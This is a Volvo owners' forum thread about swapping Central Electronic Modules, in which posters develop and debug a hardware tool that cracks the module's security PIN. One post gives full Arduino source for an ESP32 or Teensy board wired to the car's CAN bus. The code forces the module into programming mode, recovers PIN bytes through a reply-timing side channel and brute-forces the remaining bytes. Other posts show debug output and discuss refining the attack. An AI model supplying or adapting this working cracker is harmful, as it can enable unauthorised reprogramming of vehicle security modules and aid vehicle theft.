Login Register

Vida CEM swapping

A mid-size luxury crossover SUV, the Volvo XC90 made its debut in 2002 at the Detroit Motor Show. Recognized for its safety, practicality, and comfort, the XC90 is a popular vehicle around the world. The XC90 proved to be very popular, and very good for Volvo's sales numbers, since its introduction in model year 2003 (North America). P2 platform.
Post Reply
5ft24
Posts: 203
Joined: 14 April 2013
Year and Model: 2005 XC90 V8 AWD
Location: Sedro Woolley, Washington
Has thanked: 20 times
Been thanked: 12 times

Re: Vida CEM swapping

Post by 5ft24 »

Anyone have a database for DHA for a 2005 XC90?

User avatar
RickHaleParker
Posts: 7129
Joined: 25 May 2015
Year and Model: See Signature below.
Location: Kansas
Has thanked: 8 times
Been thanked: 958 times

Post by RickHaleParker »

5ft24 wrote: 01 May 2021, 01:29 Anyone have a database for DHA for a 2005 XC90?
Why do you want DocosaHexaenoic Acid for your XC90? Are you saying your XC90 is weak in the mental department and needs some improvement or it has high cholesterol ? :wink:

* DHA is the active ingredient in omega-3, used for high cholesterol, boosting memory and thinking skills and other things.
⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙
1998 C70, B5234T3, 16T, AW50-42, Bosch Motronic 4.4, Special Edition package.
2003 S40, B4204T3, 14T twin scroll AW55-50/51SN, Siemens EMS 2000.
2004 S60R, B8444S TF80 AWD. Yamaha V8 conversion
2005 XC90 T6 Executive, B6294T, 4T65 AWD, Bosch Motronic 7.0.

vtl
Posts: 4727
Joined: 16 August 2012
Year and Model: 2005 XC70
Location: Boston
Has thanked: 114 times
Been thanked: 606 times

Post by vtl »

vtl wrote: 29 Apr 2021, 20:23I need to generalize code, so slow path would be taken only on those 20% of hard to crack CEMs. But it is possible.
Didn't do anything past that, but I looked at the standard deviations one again, and those same-page comparisons throw the highest deviation across the range. With a smarter control logic it would be possible to crack with one algo only, in one pass.

I looked at the routines placed at different offsets within a page, and the theory agrees with my real world observations. For example, byte 3 (2 from 0) cracks much harder in my original CEM, because its comparison code is trailing the page of byte 2 comparison. Now it is all clear.

GHvilks
Posts: 2
Joined: 11 April 2021
Year and Model: V70, 2007
Location: Riga
Has thanked: 2 times
Been thanked: 1 time

Post by GHvilks »

Hello!

Tried to build T5Luke version of pin cracker with a modified chinese version of MCP2515 module, but can't get it to work properly in the car. If I don't terminate CAN with resistor I get results like this:
[ 00 -- -- -- -- -- ]: 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 : 197664
[ 01 -- -- -- -- -- ]: 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 : 196655
[ 02 -- -- -- -- -- ]: 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 : 193683
[ 03 -- -- -- -- -- ]: 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 : 193263
[ 04 -- -- -- -- -- ]: 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 : 192996
[ 05 -- -- -- -- -- ]: 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 : 192816
If i terminate can with resistor i get results like this:
[ 00 -- -- -- -- -- ]: 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 : 597000
[ 01 -- -- -- -- -- ]: 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 : 597000
[ 02 -- -- -- -- -- ]: 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 : 597000
[ 03 -- -- -- -- -- ]: 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 : 597000
[ 04 -- -- -- -- -- ]: 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 : 597000
[ 05 -- -- -- -- -- ]: 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 : 597000
I tried adding a second module for low speed CAN but results where the same. Are those chinese MCP2515 that bad or I am doing somthing wrong?
Attachments
can_with_termination_log.pdf
(77.16 KiB) Downloaded 275 times
can_without_termination_log.pdf
(78.07 KiB) Downloaded 133 times

vtl
Posts: 4727
Joined: 16 August 2012
Year and Model: 2005 XC70
Location: Boston
Has thanked: 114 times
Been thanked: 606 times

Post by vtl »

You may have one of those "bad" CEMs that can't be cracked currently. I'm working on the code that will do it. However it only supports built-in CAN as of now.

T5Luke
Posts: 142
Joined: 11 November 2020
Year and Model: S60 T5 2001
Location: DE
Has thanked: 11 times
Been thanked: 130 times

Post by T5Luke »

I use another lib for this mcp, cause especially on not so original mcps
https://github.com/coryjfowler/MCP_CAN_lib
This works more stable.

Code: Select all

#include <SPI.h>
#include <mcp_can.h>
#include <mcp_can_dfs.h>

#define printf Serial.printf

/* tunables */
#define SAMPLES      70  /* how many samples to do on a sequence, more is better (up to 100) */
#define CALC_BYTES    3  /* how many PIN bytes to calculate (1 to 4), the rest is brute-forced */
#define CEM_REPLY_DELAY_US 50 /* minimum time in us for CEM to reply for PIN unlock command (approx) */

#if defined(TEENSYDUINO) /* Teensy 4.0 */
#define CAN_CS_PIN    2  /* MCP2515 chip select pin */
#define CAN_INTR_PIN  4  /* MCP2515 interrupt pin */
#define CAN_L_PIN    10  /* CAN-L wire, directly connected */
#define TSC ARM_DWT_CYCCNT
#elif defined(ESP32)     /* ESP32 Node32s */
#define CAN_CS_PIN   27  /* MCP2515 chip select pin */
#define CAN_INTR_PIN 34  /* MCP2515 interrupt pin */
#define CAN_L_PIN    26  /* CAN-L wire, directly connected */
#define TSC xthal_get_ccount()
#else
#error "TEENSY or ESP32"
#endif

#define PIN_LEN       6

MCP_CAN CAN0(CAN_CS_PIN);

bool cem_print = true;

void cem_send(unsigned long id, byte *d)
{
  if (cem_print)
    printf("send: ID=%08x data=%02x %02x %02x %02x %02x %02x %02x %02x\n", id, d[0], d[1], d[2], d[3], d[4], d[5], d[6], d[7]);
  CAN0.sendMsgBuf(id, 1, 8, d);
}

bool cem_receive(bool wait, unsigned long *id, byte *data)
{
  byte d[8] = { 0 };
  byte len;
  int ret;
  unsigned long can_id = 0;
  long unsigned int rxId;

  do {
    ret = (CAN0.checkReceive() == CAN_MSGAVAIL);
    if (ret) {
      CAN0.readMsgBuf(&rxId, &len, d);
      //CAN0.readMsgBuf(&len, d);
      can_id = rxId;
    }
  } while (!ret && wait);

  if (id)
    *id = can_id;
  if (data)
    memcpy(data, d, 8);

  if (ret && cem_print)
    printf("recv: ID=%08x data=%02x %02x %02x %02x %02x %02x %02x %02x\n", can_id, d[0], d[1], d[2], d[3], d[4], d[5], d[6], d[7]);

  return ret;
}

byte to_bcd(byte b)
{
  return ((b / 10) << 4) | (b % 10);
}

byte from_bcd(byte b)
{
  return ((b >> 4) * 10) + (b & 0xf);
}

int crack_rate;

int cem_print_crack_rate()
{
  byte pin[PIN_LEN];
  
  long start, end;
  int lat;
  bool cp = cem_print;
  int n = 1000;
  int rate;

  cem_print = false;

  start = millis();
  for (int i = 0; i < n; i++)
    cem_unlock(pin, &lat, true);
  end = millis();
  rate = 1000 * n / (end - start);
  printf("%d pins in %d ms, %d pins/s\n", n, (end - start), rate);
  cem_print = cp;
  return rate;
}

volatile bool can_intr;

void cem_intr()
{
  can_intr = true;
}

bool cem_unlock(byte *pin, int *lat, bool shuffle)
{
  byte b[8] = { 0x50, 0xbe };
  byte *p = b + 2;
  long start, end;
  byte len;
  unsigned long id;
  long cur, max = 0;
  bool prev_pin = true;

  if (shuffle) {
    p[3] = pin[0];
    p[1] = pin[1];
    p[5] = pin[2];
    p[0] = pin[3];
    p[2] = pin[4];
    p[4] = pin[5];
  } else {
    memcpy(p, pin, 6);
  }
  cem_send(0xffffe, b);
  can_intr = false;
  long mt = 0;
  for (cur = 0, start = TSC; !can_intr && mt < CEM_REPLY_DELAY_US * clockCyclesPerMicrosecond();) {
    if (digitalRead(CAN_L_PIN)) {
      cur++;
      continue;
    }
    end = TSC;
    if (cur > max) {
      max = cur;
      cur = 0;
      mt = end - start;
    }
    while (!(digitalRead(CAN_L_PIN)))
      start = TSC;
  }
  cem_receive(true, &id, b);
  *lat = mt;

  return b[2] == 0x00;
}

void cem_read_part_number()
{
  unsigned long id;
  byte d[8];
  int ret;
  byte data[8] = { 0x50, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };

  printf("reading part number\n");
  cem_send(0xFFFFE, data);

  ret = cem_receive(true, &id, d);
}

void cem_programming_mode_on()
{
  byte data[8] = { 0xFF, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  int time = 5000;
  int _delay = 5;
  int cp = cem_print;

  printf("sending CEM into programming mode\n");
  cem_send(0xFFFFE, data);
  cem_print = false;
  while (time > 0) {
    cem_send(0xFFFFE, data);
    time -= _delay;
    delay(_delay);
  }
  cem_print = cp;
}

void cem_reset()
{
  byte data[8] = { 0xFF, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  printf("reset CEM\n");
  for (int i = 0; i < 50; i++) {
    cem_send(0xFFFFE, data);  delay(100);
  }
}

struct seq {
  byte b;
  int lat;
} s[100] = { 0 };

int seq_max(const void *a, const void *b)
{
  struct seq *_a = (struct seq *)a;
  struct seq *_b = (struct seq *)b;
  return _b->lat - _a->lat;
}

#define CEM_REPLY_US 200
void crack_pin_pos(byte *pin, int pos)
{
  int h[CEM_REPLY_US];
  int lat;
  bool shuffle = true;
  cem_print = false;
  int from = 0, to = 10000;

  memset(s, 0, sizeof(s));
  for (int i = from; i < to; i++) {
    unsigned int m = i;
    pin[pos + 1] = to_bcd(m % 100); m /= 100;
    pin[pos + 0] = to_bcd(m % 100); m /= 100;

    if ((i % 100) == 0)
      printf("%02x %02x %02x %02x %02x %02x: ", pin[0], pin[1], pin[2], pin[3], pin[4], pin[5]);

    if ((i % 100) == 0) {
      memset(h, 0, sizeof(h));
    }

    for (int j = 0; j < SAMPLES; j++) {
      pin[pos + 2] = to_bcd(j);
      cem_unlock(pin, &lat, shuffle);
      int idx = lat / clockCyclesPerMicrosecond();
      if (idx >= CEM_REPLY_US)
        idx = CEM_REPLY_US - 1;
      h[idx]++;
    }
    pin[pos + 2] = 0;

    if ((i % 100) == 99) {
      int prod = 0;
      for (int k = 0; k < CEM_REPLY_US; k++) {
        if (k > 61 && k < 95)
          printf("%03d ", h[k]);
        prod += h[k] * k;
      }
      printf(": %d\n", prod);

      s[i / 100].b = pin[pos + 0];
      s[i / 100].lat  = prod;
    }
  }

  qsort(s, 100, sizeof(struct seq), seq_max);
  for (int i = 0; i < 25; i++) {
    printf("%d: %02x = %d\n", i, s[i].b, s[i].lat);
  }

  printf("pin[%d] candidate: %02x lat %d\n", pos, s[0].b, s[0].lat);
  pin[pos] = s[0].b;
  pin[pos + 1] = 0;
}

void cem_crack_pin(int max_bytes)
{
  byte pin[PIN_LEN] = { 0x00 , 0x00, 0x00, 0x00, 0x00, 0x00 };								//Preset pincode
  long start = millis(), end;
  bool cracked = false;

  printf("calculating bytes 0-%d\n", max_bytes - 1);
  crack_rate = cem_print_crack_rate();

  for (int i = 0; i < max_bytes; i++)
    crack_pin_pos(pin, i);                                                                  //i= POS cracker should start

  int n = max_bytes;

  for (int i = 0; i < PIN_LEN; i++) {
    printf("0x%02x ", pin[i]);
  }
  printf(" -- brute forcing bytes %d to %d (%d bytes), will take up to %d seconds\n", n, PIN_LEN - 1, PIN_LEN - n, (int)(pow(100, PIN_LEN - n) / crack_rate));

  for (unsigned long m = 0; m < pow(100, (PIN_LEN - n)); m++) {
    unsigned long f = m;
    for (int k = n; k < PIN_LEN; k++) {
      pin[k] = to_bcd(f % 100);
      f /= 100;
    }
    int lat;
    if (cem_unlock(pin, &lat, true)) {
      printf("found PIN: 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x\n", pin[3], pin[1], pin[4], pin[0], pin[5], pin[2]);
      cracked = true;
      break;
    }
  }
  end = millis();
  printf("PIN is %scracked in %3.2f seconds\n", cracked ? "" : "NOT ", (end - start) / 1000.0);
  printf("done\n");
}

//extern "C" uint32_t set_arm_clock (uint32_t freq);

void setup() {
  
  //set_arm_clock (180000000);
  Serial.begin(115200);
  delay(3000);
  pinMode(CAN_L_PIN, INPUT_PULLUP);
  pinMode(CAN_INTR_PIN, INPUT);
  printf("F_CPU %d\n", F_CPU);

  printf("can init\n");
  if(CAN0.begin(MCP_ANY, CAN_500KBPS, MCP_8MHZ) == CAN_OK)
    Serial.println("MCP2515 Initialized Successfully!");
  else
    Serial.println("Error Initializing MCP2515...");
  CAN0.setMode(MCP_NORMAL);                     // Set operation mode to normal so the MCP2515 sends acks to received data.
  attachInterrupt(digitalPinToInterrupt(CAN_INTR_PIN), cem_intr, FALLING);

  printf("done\n");

  while (cem_receive(false, NULL, NULL));
  cem_programming_mode_on();
  while (cem_receive(false, NULL, NULL));

  cem_read_part_number();
  cem_crack_pin(CALC_BYTES);
  cem_reset();
}

void loop() {
}

User avatar
RickHaleParker
Posts: 7129
Joined: 25 May 2015
Year and Model: See Signature below.
Location: Kansas
Has thanked: 8 times
Been thanked: 958 times

Post by RickHaleParker »

GHvilks wrote: 01 May 2021, 09:14 Hello!

Tried to build T5Luke version of pin cracker with a modified chinese version of MCP2515 module, but can't get it to work
[ 00 -- -- -- -- -- ]: 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 : 197664
Latency detection jumper missing?
⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙
1998 C70, B5234T3, 16T, AW50-42, Bosch Motronic 4.4, Special Edition package.
2003 S40, B4204T3, 14T twin scroll AW55-50/51SN, Siemens EMS 2000.
2004 S60R, B8444S TF80 AWD. Yamaha V8 conversion
2005 XC90 T6 Executive, B6294T, 4T65 AWD, Bosch Motronic 7.0.

5ft24
Posts: 203
Joined: 14 April 2013
Year and Model: 2005 XC90 V8 AWD
Location: Sedro Woolley, Washington
Has thanked: 20 times
Been thanked: 12 times

Post by 5ft24 »

RickHaleParker wrote: 01 May 2021, 08:30
5ft24 wrote: 01 May 2021, 01:29 Anyone have a database for DHA for a 2005 XC90?
Why do you want DocosaHexaenoic Acid for your XC90? Are you saying your XC90 is weak in the mental department and needs some improvement or it has high cholesterol ? :wink:

* DHA is the active ingredient in omega-3, used for high cholesterol, boosting memory and thinking skills and other things.
LOL. the Volvo DHA software. Back a few pages. Let's you monitor all CAN traffic, logs it etc

vtl
Posts: 4727
Joined: 16 August 2012
Year and Model: 2005 XC70
Location: Boston
Has thanked: 114 times
Been thanked: 606 times

Post by vtl »

CAN sniffer, that's it? Only a few lines of Arduino code...

User avatar
RickHaleParker
Posts: 7129
Joined: 25 May 2015
Year and Model: See Signature below.
Location: Kansas
Has thanked: 8 times
Been thanked: 958 times

Post by RickHaleParker »

5ft24 wrote: 01 May 2021, 11:04 LOL. the Volvo DHA software. Back a few pages. Let's you monitor all CAN traffic, logs it etc
I think I may of found some of what you are looking for. Check your private messages. Let us know if it is true.
⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙⸙
1998 C70, B5234T3, 16T, AW50-42, Bosch Motronic 4.4, Special Edition package.
2003 S40, B4204T3, 14T twin scroll AW55-50/51SN, Siemens EMS 2000.
2004 S60R, B8444S TF80 AWD. Yamaha V8 conversion
2005 XC90 T6 Executive, B6294T, 4T65 AWD, Bosch Motronic 7.0.

Post Reply
  • Similar Topics
    Replies
    Views
    Last post